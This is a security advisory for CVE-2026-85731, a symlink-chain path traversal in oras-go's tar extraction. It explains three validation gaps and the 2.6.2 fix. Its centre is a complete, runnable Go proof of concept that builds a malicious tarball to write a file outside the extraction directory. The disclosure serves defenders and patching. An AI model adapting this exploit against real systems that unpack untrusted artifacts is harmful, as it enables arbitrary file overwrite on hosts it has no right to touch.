high · 8.8CVE-2026-85731Sep 17, 2026

CVE-2026-85731: oras-go Symlink-Chain Path Traversal in tar Extraction

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted OCI artifact can trick oras-go into writing files anywhere on disk, bypassing the sandbox that is supposed to keep extracted content inside a safe directory.

Packageoras.land/oras-go/v2
Ecosystemgo
Affected<= 2.6.1
Fixed in2.6.2

The problem

oras-go's content/file.Store unpacks OCI layers when a descriptor carries io.deis.oras.content.unpack=true. The pushDir path calls extractTarDirectory, which validates symlink targets with filepath.Join only, a purely lexical check that does not resolve intermediate symlink components the kernel will follow.

Two additional gaps compound the issue. resolveRelToBase skips its per-component Lstat walk for any entry whose parent is the extraction root itself (because filepath.Dir("escape") == "." short-circuits the loop). And writeFile opens files with O_CREATE|O_TRUNC but no O_NOFOLLOW, so a terminal symlink is silently followed.

Together the three gaps let a malicious tarball plant a symlink chain that looks in-bounds lexically but resolves to any absolute path at the kernel level, then write through it with a follow-up regular-file entry. The result is arbitrary file create or overwrite outside the store's working directory, even when AllowPathTraversalOnWrite=false.

Proof of concept

A working proof-of-concept for CVE-2026-85731 in oras.land/oras-go/v2, with the exact payload below.

go
// go mod init poc && go get oras.land/oras-go/v2@v2.6.1 && go run .
package main

import (
	"archive/tar"
	"bytes"
	"compress/gzip"
	"context"
	_ "crypto/sha256"
	"fmt"
	"os"
	"path/filepath"
	"strings"

	"github.com/opencontainers/go-digest"
	ocispec "github.com/opencontainers/image-spec/specs-go/v1"
	"oras.land/oras-go/v2/content/file"
)

func main() {
	ctx := context.Background()

	workDir, _ := os.MkdirTemp("", "oras-victim-*")
	defer os.RemoveAll(workDir)

	outside := filepath.Join(os.TempDir(), "oras-PWNED")
	_ = os.Remove(outside)
	defer os.Remove(outside)

	const title = "out"
	baseAbs := filepath.Join(workDir, title)
	depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/"))

	// Build malicious layer
	var buf bytes.Buffer
	gzw := gzip.NewWriter(&buf)
	tw := tar.NewWriter(gzw)

	// Step 1: N nested dirs
	dirs := make([]string, depth)
	for i := range dirs {
		dirs[i] = fmt.Sprintf("d%d", i)
	}
	for i := 1; i <= depth; i++ {
		tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir,
			Name: title + "/" + strings.Join(dirs[:i], "/"), Mode: 0o755})
	}

	// Step 2: 'up' symlink at the bottom pointing N levels up to baseAbs.
	// Lexically AND on disk resolves to baseAbs, so ensureLinkPath accepts it.
	upTarget := strings.Repeat("../", depth-1) + ".."
	tw.WriteHeader(&tar.Header{
		Typeflag: tar.TypeSymlink,
		Name:     title + "/" + strings.Join(dirs, "/") + "/up",
		Linkname: upTarget, Mode: 0o777,
	})

	// Step 3: 'escape' symlink at title/escape.
	// Lexical: N ".." cancel "up" + (N-1) dirs -> appears inside baseAbs.
	// Kernel:  follows 'up' to baseAbs, then N ".." climbs to "/", appends outsidePath.
	dots := strings.Repeat("../", depth-1) + ".."
	escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outside
	tw.WriteHeader(&tar.Header{
		Typeflag: tar.TypeSymlink,
		Name:     title + "/escape",
		Linkname: escapeTarget, Mode: 0o777,
	})

	// Step 4: regular file at the same path title/escape.
	// resolveRelToBase("escape"): dir=="." so Lstat loop never runs.
	// writeFile opens with O_CREATE|O_TRUNC, no O_NOFOLLOW -> follows symlink.
	payload := []byte("PWNED-BY-ORAS-TARSLIP")
	tw.WriteHeader(&tar.Header{
		Typeflag: tar.TypeReg,
		Name:     title + "/escape",
		Mode:     0o644, Size: int64(len(payload)),
	})
	tw.Write(payload)
	tw.Close()
	gzw.Close()

	data := buf.Bytes()
	dgst := digest.FromBytes(data)

	desc := ocispec.Descriptor{
		MediaType: "application/vnd.oci.image.layer.v1.tar+gzip",
		Digest:    dgst, Size: int64(len(data)),
		Annotations: map[string]string{
			ocispec.AnnotationTitle: title,
			file.AnnotationUnpack:   "true",
		},
	}

	store, _ := file.New(workDir)
	defer store.Close()

	// Exactly what oras.Copy invokes per layer
	if err := store.Push(ctx, desc, bytes.NewReader(data)); err != nil {
		fmt.Println("Push error:", err)
		return
	}

	if out, err := os.ReadFile(outside); err == nil {
		fmt.Printf("[!] BYPASS: wrote %q to %s\n", string(out), outside)
	} else {
		fmt.Println("[-] no escape")
	}
}

Three independent bugs must all fire together. First, ensureLinkPath calls filepath.Join to check that a symlink target is inside the extraction root. filepath.Join collapses .. purely in string space and never calls Lstat, so it cannot see that an intermediate path component is itself a symlink the kernel will follow first.

Second, resolveRelToBase contains a per-component Lstat loop that walks a path's ancestry looking for symlinks. For any entry whose in-tar name is directly under the title directory (e.g., out/escape), the relative path passed in is just escape, and filepath.Dir("escape") returns ".", so the loop body never executes and no Lstat is performed.

Third, writeFile opens the destination with os.OpenFile(..., os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm). The missing O_NOFOLLOW flag means the OS silently follows any terminal symlink. The patch (commit adab2f25) replaces lexical validation with filepath.EvalSymlinks-based containment checks and adds an Lstat of the final path component before writing, closing all three gaps.

CWE-22 (path traversal) and CWE-59 (link following) both apply.

The fix

Upgrade to oras.land/oras-go/v2 v2.6.2. The fix (commit adab2f25ea95ef4e6e41f50db9266a6701399422) replaces lexical filepath.Join symlink validation with filepath.EvalSymlinks-based containment checks and adds an Lstat guard on the final write target to reject symlinks before opening.

No configuration workaround exists for v2.6.1 and earlier because AllowPathTraversalOnWrite=false (the default) does not protect the pushDir code path.

Reporter not attributed.

References: [1][2][3][4][5]

Related research